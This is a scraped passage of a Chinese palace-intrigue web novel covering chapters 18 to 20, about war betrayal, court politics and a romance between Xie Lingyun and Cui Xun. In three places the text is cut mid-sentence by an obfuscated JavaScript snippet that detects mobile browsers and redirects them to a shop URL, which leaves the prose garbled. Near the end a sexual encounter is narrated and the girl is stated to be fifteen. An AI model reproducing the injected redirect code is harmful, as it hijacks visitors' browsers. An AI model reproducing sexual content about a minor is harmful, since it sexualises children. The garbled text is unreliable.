“我知道谢皇后的秘密,你用这个秘密去和谢皇后交换,肯定可以做太子妃的。”姜姒诱惑谢神爱,“但你得听我的,我在这里替你,你逃出去将谢灵筠在上邪谷的布防传递给想置沈梵于死地的沈家人。” 18. 第 18 章 谢神爱的身子微微发抖,她咬着唇道:“关乎两国交战,要是上邪谷之战败了,朝廷追究起来,开罪于我怎么办?” 姜姒斜睨了谢神爱一眼,打心底里瞧不起她这样娇弱无用的女子。 “我以为你只是出身不如谢灵筠,没想到你样样都不如她。你也看到谢灵筠如今的容色胜过你多少,且她是个能文擅武的。你要拿什么比过她?你再不对她下手,日后可就没有对她下手的机会了。难道你想一辈子被她盖住风头吗?” “不……不……”谢神爱攥紧了手,“我去、我就算死,也要把谢灵筠一起拉进地狱。” * 上邪谷几条河的河面上浮动薄冰,河水泛着妖异的红色。 连着下了几日的大雪掩埋了成千上万具将士的尸身。 地上偶尔有几面破败不堪的带有晋阳沈氏图腾的战旗,上头还有发黑的血迹。 大获全胜的梁军将俘获的两个妙龄少女拘在马车上的木笼里。 进入军营后,马车被兵卒赶到一处前方竖立北朔王旗的军帐前。 一个身披鹤氅的玉面少年缓缓步至马车前,借着月光凝视少女灵秀冷清的好颜色。 “你落在我手上,崔循怕要气得发疯。那位年轻的谢将军昨夜从我这里接走了他的妹妹,我让他等一等,等到今日将你一起接走,他却不肯。” 谢敏怀既然带了龙骧卫来接谢神爱,那为什么不支援他们的飞霜军。 谢灵筠抱着怀中昏睡的沈韶,“我长姐是怎么落到你手上的?” 少年星眸明亮,“那位识时务的美人是我十日前抓到的,她拿着你们在上邪谷的布防图与你们的押粮官接头,我命人将他们一网打尽。那两个押粮官被我放回去烧尽你们的粮草,而你这位美人长姐,一直哭求我允准她写信给她的兄长。她帮了我大忙,她的兄长谢将军为了她,既不去支援嘉裕关的崔循,也对已成困兽的你们冷眼旁观。” 谢灵筠恍然大悟,自己被小琴骗了。谢神爱逃走那夜,小琴说是谢神爱打晕了她、换了她的衣裳假扮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14037652|147355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她逃出去的,实际她们两个合起伙来骗她。 更加可恶得是,沈梵、沈韶的两位叔叔沈磊、沈落作为押粮官放火烧光了飞霜军补给的粮草。 沈磊、沈落如愿了,沈梵带领飞霜军迎战梁军时,受万箭穿心而死。 谢灵筠抚摸自己腰间挎的沈梵留给她的断刀“娑罗”,将仇恨深埋心中。 她答应了沈梵,要将沈韶平安带回晋阳。 “徐策,你与我兄长师出同门,你命人拘我,不就是想用我引我兄长前来吗?” “崔循已领了十万白袍军往上邪谷来,我要光明正大的与他对阵。当年我与他同下不周山,答应了不周山上的老师绝不同门相杀。可我不甘心世人说我的兵法不如他。”徐策命人打开木笼,押谢灵筠、沈韶进入他军帐旁的一处军帐。 谢灵筠将沈韶抱至床上,要徐策请军医来。 徐策抱臂邪肆一笑,“她的死活,我才不管。除非——”他停顿了一下,饶有兴致地看着谢灵筠,“……你能取悦我。” 19. 第 19 章 人人都以为崔循会为谢灵筠辩驳,他却没有。 “陛下,既然小谢大人这做亲兄长的都要大义灭亲,臣对罪人谢灵筠的通敌叛国之举更无可言。但请陛下顾念神武长公主膝下唯有此女,判罪人谢灵筠终生幽禁。” 谢敏怀对崔循说出的那句“……神武长公主膝下唯有此女”耿耿于怀,“崔相,我亦可奉养母亲终余年,留罪人谢灵筠多活一日于人世,我母亲颜面无光。” 崔循似笑非笑望向谢敏怀,“小谢大人,我以为你忘了神武长公主是你母亲,手足相残,难道就能让神武长公主脸上有光了?” “你——” 谢敏怀还未说下去,崔循直接打断他道:“我奉劝小谢大人见好就收,不是顾及江陵谢氏,我早替神武长公主清理门户了。” “好了,敏怀。”靖帝亦偏袒自己的外甥女,“你执意要置你妹妹于死地,朕也对你寒心。” 靖帝拿定主意,“囚罪人谢灵筠于文心阁万卷楼抄书忏悔,无诏不得出。”他怒视谢敏怀,“什么是通敌叛国?泼这么一摊脏水到你妹妹身上,你得意了?” 谢敏怀伏地叩首,“臣惶恐!” “朕也不想在大庭广众之下责备你,但朕又见不得你这蠢样子。你母亲、妹妹一世英名,尽丧于你这竖子之口。你也回江陵好好自省吧。”靖帝动怒,对谢敏怀大失所望,三言两语便罢免了谢敏怀的官职。 常朝结束,靖帝留下崔循在皇极殿的偏殿单独说话。 靖帝先问过神武长公主的近况,而后缓缓道:“朕不知这江山日后交于太子手上,天下何姓?” “陛下哪里考虑得到百年之后的事。”崔循温声道。 “太子仁弱,然他秉性至纯,将来若有良臣辅佐,也能成为明君。”靖帝犀利的目光落在崔循身上,“神武长公主当年只差一步便能坐稳龙椅,朕有愧于她。皇姐她出自正嫡,又在诸姊妹兄弟中最年长,文韬武略,她样样都强过朕,朕何德何能掌这天子九方印。朕想两代之后,还宗庙社稷于皇姐一脉。所以,太子妃之位非灵筠莫属。” “请陛下直言。”崔循不大有耐心听靖帝说这些弯弯绕绕的话。 “小儿女私定终身之事不少见。”靖帝换成仁君慈父面孔,“太子与灵筠多年未见,表兄妹二人难免生疏。朕想请你为他们牵一条红线,朕有这么多皇子皇女,太子需要一位出身高贵的结发妻子来帮他巩固储君之位。” “臣恐负陛下所托。”崔循婉拒。 靖帝话锋一转,“朕身患顽疾药石无医,只期盼有生之年能与皇姐再见一面。想当年,朕与娥媖两情相悦,朕非先帝之子,朕母亲是先皇后的妹妹,朕母亲未婚先孕,先皇后为保全母族兰陵萧氏清名而求先帝下旨册朕母亲为妃。先皇与先皇后恩爱一生,先皇后唯一对不住先帝的事,就是向先帝欺瞒了朕私生子的身份。朕母亲早逝,先皇后待朕如亲子一般养在她殿中,朕与娥媖是青梅竹马、两小无猜。可先帝看出了朕与娥媖之间的情愫,先帝临终前安排谢琰趁娥媖酒后轻薄于她,又留下让朕继位的旨意,便是要朕与娥媖一世反目成仇,以杜绝皇室传出乱.伦的丑闻。” 靖帝又向崔循讲起自己年少戏耍神武长公主的事情,少年的爱真挚热烈却不善表达,总喜欢欺负自己心爱的姑娘,以博得她的关注。这样的爱,拿不出手,更见不得天日。 “朕是过来人,灵筠每每向朕告状说她掉进了你给她挖的坑里,仿佛见到了少时娥媖去向先帝先皇后告状朕如何欺负了她。崔循,便是朕知道你对灵筠的心意,更知道你会守护她所爱之人。只要你促成灵筠与太子的婚事,朕就将天子九方印交给你。江山与美人,你总得选一样吧,做人不可太贪心。” “臣不会用谢小二去换任何东西,臣在一日,便没有人能强迫她做她不喜欢的事。”崔循向靖帝作揖后,拂袖而去。 * 文心阁,万卷楼。 谢灵筠坐在窗边的书案后,正抄一部心经,她被软禁在这儿已有一年之久,摘星、指月常常和她说外面发生了什么事情。 她知道去年夏天谢神爱如愿进入东宫成为周澈的良娣,又在今年夏天为周澈生下长子被晋为太子嫔。 她知道沈韶已与慕星野定婚,待沈韶为她姐姐沈梵守孝三年过后,便与慕星野完婚。 她知道崔循今年开春行过冠礼,得表字灵佑,母亲送了十名美人给崔循,却被崔循赏给了白袍军中的将士。 …… “灵筠。”沈韶满头大汗跑了进来,险些被门槛绊倒,拿起谢灵筠手边的茶壶对着嘴“咕嘟咕嘟”牛饮,解渴后方抱着茶壶说道:“崔循攻下楚国,我大靖版图扩张,陛下大赦天下,你可以出去了,不用天天闷在这万卷楼里抄书。” 摘星、指月向谢灵筠道喜。 谢灵筠面上波澜不惊,执笔的手没有停下来。 “出去后,我都不知道该去哪里。” 崔翙于去年冬天病逝,她母亲将神武长公主府搬回自己的封地大春城,豢养了十数个面首在府中陪她饮酒作乐。 她不喜欢目睹长公主府中纸醉金迷的日子。 “不如你随我回晋阳。”沈韶提议,她已弃医从武,这一年来跟随谢灵筠左右得她指点剑术。 “我还是住到小春城的庄园里去。”谢灵筠命摘星、指月去收拾行李。 下午便有宫使来宣靖帝的旨意,谢灵筠接旨谢恩后,带着摘星、指月先去大春城见过神武长公主。 昭明堂正厅,周娥媖就着一位年轻英俊的郎君的手喝药,打量下首坐着的女儿。 “我年岁渐长,对管理军中事务力不从心,那三十万鸣鸾卫自此就交给你。灵筠,去相府谢谢崔循。按常理来说,攻下楚国至少三年,崔循为解你困境定是拿命去拼。我只恨没有生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14074808|147355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下一个像他一样的儿子,你兄长每次要来向我请安,我都将他拒之门外。你也不必再回江陵去,你父亲已将谢氏家主之位传于你兄长,你兄长不会欢迎你回去的。” “女儿明白。”谢灵筠告退,脚还未迈出门槛,就被周娥媖喊住了。 “你打算这身妆扮去相府?”周娥媖见女儿一头乌发仅由一根素绫捆住垂在背后,又穿着一身宽大的白袍,素得不能再素。 “有何不妥?”谢灵筠回首问道。 “算了,你就这样去吧。”周娥媖瞧见女儿清丽的一张小脸,妆扮上的清简倒显得无所谓了,还是年轻颜色好啊。 谢灵筠抵达相府时已近黄昏,门房听完摘星自报家门,忙不迭开了中门送谢灵筠至崔循住的院落。 老仆人道:“请女公子稍待片刻,我家公子尚在前厅与诸位大人议事。” 谢灵筠颌首,坐在廊檐下摆设的一张茶桌旁饮茶。 奉茶婢女提醒道:“女公子,这是我家公子的座席,他不喜欢别人坐在他的座席上,请女子移步客位。” “不必。” 谢灵筠循声望去,他鬓发微松,玉冠下一张俊美白皙的脸,身上着玄色锦袍,若披烟雾,如对珠玉。 谢灵筠起身向他行礼,刚要张口。 他先道:“唤我表字灵佑即可。” “不敢唐突崔相。”谢灵筠换至客位落座。 崔循吩咐婢女去取谢灵筠爱吃的点心来,抿过一口清茶后,道:“我前日刚从大春城回来,长公主殿下说鸣鸾卫需要十万斤精铁重新铸造盔甲。我已命人备好,你派人来取,还是我遣人送去?” “我已向忠武侯买了十万斤精铁,他会命人押送至军营,不劳崔相费心了。”谢灵筠倒不是与崔循生疏了,只是不想再承他的人情。 “听闻章衍之每月都要去万卷楼探望你,你与他的交情不错啊。”崔循眉心微微凹下两个小坑。 “崔相不是听闻,是你的探子亲眼所见转述与你听的。其实也算不得我与忠武侯的交情,是我与忠武侯未婚妻萧九娘子的交情才对。想必崔相的探子还报过,见我与忠武侯在万卷楼里耳鬓厮磨,实则是萧九娘子扮做我与忠武侯相会,我每月做一次红娘罢了。”谢灵筠也不知道自己为什么要向崔循解释这些,许是怕他因疑心忠武侯而对忠武侯不利。 “你这样爱做红娘,与我一起去保一桩媒如何?”崔循道。 谢灵筠有一种要被坑的感觉。 “二皇子上月已迎娶皇子妃,如今轮到三皇子,陛下欲促成大靖与大梁联姻,为三皇子择定的皇子妃是大梁北朔王徐策之妹。”崔循为谢灵筠添茶,“你随我去北朔游说徐策嫁妹,也当散散心。” “三皇子去不去?”谢灵筠问道。 “他自然要去的,他也想看看这位北朔的小郡主合不合他意,再决定若婚事成了要不要逃婚。”崔循道。 20. 第 20 章 谢灵筠对三皇子这等轻视女子名节的行径很是不耻,未直言指出。 崔循续道:“三殿下这个人做惯了浪荡子,他要有逃婚的念头,且命人打断他的腿,女子名节岂容他随意毁伤,要逃婚也该是那北朔的小郡主逃婚的。” “崔相所言极是。”谢灵筠想到崔循和徐策既是表兄弟的关系、又是师兄弟关系,“大靖与大梁要联姻,不应是三殿下娶大梁的皇室公主吗?” “最好应是太子殿下册大梁的皇室公主为太子妃,但太子殿下不肯。大梁皇室只有一位嫡公主,梁帝又不肯将嫡公主许给三殿下。双方各退一步,便成了三殿下与北朔王府的小郡主定婚了。”崔循道。 “正好我要进宫去向帝后请安,将随你同去北朔之事也一并回禀帝后。”谢灵筠起身,向崔循行礼告辞。 崔循亲送她至府门上,见她坐上马车走远,方转身回府。 * 正赶上坤仪殿的家宴。 靖帝与谢皇后同坐上席,周澈与谢神爱依次坐在左下首位置,乳母抱着襁褓中的皇长孙给帝后看。 谢灵筠入殿后,向帝后、周澈行过大礼,待要向谢神爱这位太子嫔行礼时,靖帝皱眉道:“今日是家宴。灵筠,你向朕和你姑姑、表兄行礼就罢了,这太子嫔原是你表兄的妃妾、上不得台面的,仰赖皇长孙才在这殿中有一席之位。你赶紧落座用膳,在万卷楼呆了一年,学得和朝堂上的那些老酸儒一样。” 谢神爱感到没脸,眼眶立刻红了,被周澈抚住手背温柔安抚了几句话,才没落下泪来。 谢皇后亦心疼宝贝孙儿的生母,“陛下为着神武长公主的缘故,总偏着灵筠这位亲外甥女。太子嫔也是个好孩子,帮阿澈管理东宫的那些妃妾,对阿澈的衣食住行无一不用心,又常来坤仪殿孝敬臣妾,为臣妾分忧。臣妾请陛下多疼疼太子嫔。” “依皇后的意思,赏太子嫔一斛贡珠。”靖帝说完,谢神爱从座上起身向靖帝谢恩。 靖帝看向谢灵筠,“剩下十一斛贡珠,你拿回去留着赏人。” 谢神爱的脸色一僵,纵使面上涂了最鲜艳瑰丽的胭脂,也能看出她脸色有些发白。 谢皇后向谢神爱投来宽慰怜爱的眼神,周澈亦抚了抚谢神爱的背,与她耳语道:“父皇怜爱表妹在万卷楼不得自由、吃了一年的苦,你莫要多心。” “妾知道的。”谢神爱为周澈对她的体贴感到暖心。 谢灵筠与帝后相谈甚欢,靖帝一高兴,又给谢灵筠加了一千户食邑,谢皇后亦赏了一千车名贵丝绸给谢灵筠。 谢神爱时刻关注着周澈的目光落在何处,但见周澈只是偶尔与谢灵筠搭几句客气话,其余时光都是关怀自己,沾沾自喜起来。 酒过三巡,靖帝因要处理政务提前退席,谢皇后携皇长孙去歇午觉。 周澈道:“神爱,你陪着母后、顾儿一起去。” 谢神爱不放心周澈与谢灵筠独处,“妾还是留在这儿侍奉殿下。” 谢皇后道:“太子嫔,你与阿澈先论君臣。” 言外之意,敲打谢神爱不恭顺,竟然违逆太子之言。 谢神爱方幽怨地离席,随谢皇后离去。 “神爱在东宫总是惶惶不安的,她与母后同病相怜,母后在后宫这么多年也是如履薄冰的,孤因此对她多加怜爱。”周澈这才敢直视谢灵筠,“瞒瞒,你再清楚不过孤的痛苦。” “殿下依然失眠多梦,还是常梦见死去的小崔妩来找你玩吗?”谢灵筠问道。 周澈颌首,“都是母后为了庇护孤的私心而害了她,孤当年穿了她的衣裙和换上徐夫人衣裙的母后一起奔逃,害她们母女俩被叛军抓住落得惨死的下场,徐夫人和小崔妩是替孤与母后死的,孤一生不安。” 谢灵筠很早就知道崔循生母徐氏与他妹妹小崔妩当年惨死的真相,她本来打算告诉崔循的,但见崔循为了他母亲妹妹对盛京姜氏赶尽杀绝,她又把到嘴边的话咽了下去。 谢皇后是她姑姑,周澈是她表兄,他们是崔循的仇人,也是她的亲族。 “殿下,你与姑姑最对不住的人是崔相。”谢灵筠道。 “崔循若有一日要来杀孤,孤生死无怨,但求他能放过母后。”周澈话锋一转,“瞒瞒,你不要与崔循走得太近,他是可以弃绝亲族的人,你与他非亲非故,他待你好,也是因为你对他而言是有利可图的。” 周澈一语成谶。 崔循确实是可以弃绝亲族的人。 她与崔循、三皇子一行来到北朔王府,小郡主徐明月对高大英俊的三皇子一见倾心,徐策决定先为妹妹在北朔举办一场盛大的婚仪。 大喜之日,亦是北朔防备最宽松的时候。 三十万白袍军悄无声息如黑云压境,十日十夜的大屠杀血洗北朔。 而北朔王徐策在他妹妹婚仪那日就被崔循一箭射杀。 谢灵筠怔怔盯着倒在血泊中的徐策,为这再也长不大的少年惋惜。 对徐明月一见钟情的三皇子带着她奔逃,可他们能跑去哪里,很快就被慕星野带着军队抓回来了。 沈韶不忍心,拿出了一瓶药水,可以让人忘记前尘往事的药水,灌给徐明月喝下,又请谢灵筠向崔循求情。 “斩草除根。”崔循寒声道。 崔循给了三皇子一把刀,让三皇子去了结徐明月。他也给了徐明月一把刀,并且告诉她,如果她能杀死三皇子的话,她就能活命。 这对相爱了短暂时日的恋人,都将刀刃捅向了自己,共赴黄泉。 沈韶在谢灵筠身边痛斥崔循的不近人情,“他就是一个怪物,让爱人相杀,他怎么想出来的?” “北朔这一战,是为大靖而战,也是为大梁而战。梁帝会将他的爱女嫁入清河崔氏,这就是上位者的无情,谁都可以成为棋子。阿韶,生逢乱世,你也要学得无情无义,否则怎么能挑起晋阳沈氏的担子?”谢灵筠嗅到风中令人恶心的血腥味道,她亦身处权力斗争的漩涡之中,只有变强,才不会任人宰割。 慕星野找到在城楼上的她们,“谢二娘子,阿循受伤了,请你去替他包扎一下。” “不是有婢女可以使唤吗?”沈韶扯住谢灵筠的衣袖,愤愤不平,“灵筠又不是他崔循的侍婢。” “小祖宗,你就别瞎掺和谢二娘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14157525|147355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子与阿循的事了。”慕星野硬拉着沈韶下城楼与自己骑马。 谢灵筠去到崔循的军帐,他除了脸色苍白之外,并未见他哪里受伤了。 谢灵筠将手中的药箱放到胡床上,替崔循整理书案上的公文卷宗。 正执笔书文的崔循抬眸。 “要麻烦你帮我清理一下伤口。” “好。”谢灵筠应完,跪坐在崔循身旁。 他褪下锦袍,裸露出后背的鞭伤。 谢灵筠记起以前也见过他身上类似的伤口。 她边为他清洗伤口,边问道:“人都到北朔了,崔氏族老们还派人来鞭你?” “走了一步险棋,我虽打了胜仗,却违背了族规。”崔循轻轻“嘶”了一口气。 “我再轻一点。”谢灵筠将手中的帕子丢进铜盆里,命摘星去倒掉这盆血水。 谢灵筠趁着间隙去药箱中翻找药瓶,拿起一个瓷瓶倒出里面的药粉查看,果然被讨厌崔循的沈韶动了手脚。 “你用不上药了,我去劝一劝阿韶,你别生她的气。” “算了,我背上的鞭伤也能自愈。”他将头枕在她的膝上,像一只惶惑无助的小兽,一动不动。 谢灵筠示意指月从榻上取来毡毯给自己,她将毡毯盖在了崔循身上。 “你关心我?” 崔循问道。 “你也曾关心过我。”谢灵筠摸了摸他的鬓角,也只有她能见到他狼狈脆弱的模样。 他执过她的手,吻了吻她的掌心。 “我不能娶妻,但我想以你为妻,你能得到你想要的一切。” “包括大靖?”谢灵筠给指月使了个眼色,指月带着其他婢女退出帐外。 “天下是你的,你是我的,这样行不行?”崔循已坐起身来,得到她的回应后,低首吻她颤颤的眼睫。 未几,她身下春流涌出,这场腻人的温存中,只有他一人陷进滔天的情.欲之中。 她来不及弄清楚他为什么喜欢自己,就这样糊糊涂涂把自己给了他,为着他手中的权势。 这一年,她十五岁,他二十岁。 她成为了他的女人。 * 回到白玉京后,崔循鲜少能抽出时间来找她,她在军营中操练鸣鸾卫,繁忙的军务压得她喘不过气来。 沈韶好不容易摆脱了喜欢黏着她的慕星野,到军营来给谢灵筠送滋补的药膳。 沈韶捧着她瘦削清丽的小脸,“真是可怜啊,我应该早点来给你送好吃的。” “你先等一等,我画完这张阵法图再和你说话。”谢灵筠用笔杆戳着眉心凹下去的小坑,陷入深思中。 沈韶贴着谢灵筠坐,静静看着她画图。 待她画完最后一笔后,方道:“陛下这个月吐了三回血,缠绵病榻,卧床不起。太子殿下一直在陛下的寝殿中侍疾。崔循若像当年灭姜氏一样灭皇族,我真不知道我姐姐留给我的飞霜军该站崔循还是皇室。” 沈韶箍住谢灵筠的细腰,肉乎乎的脸蛋往她身上不停蹭,撒娇道:“我姐姐死的时候,要我听你的话。你这次站在哪一边,我就站在哪一边。”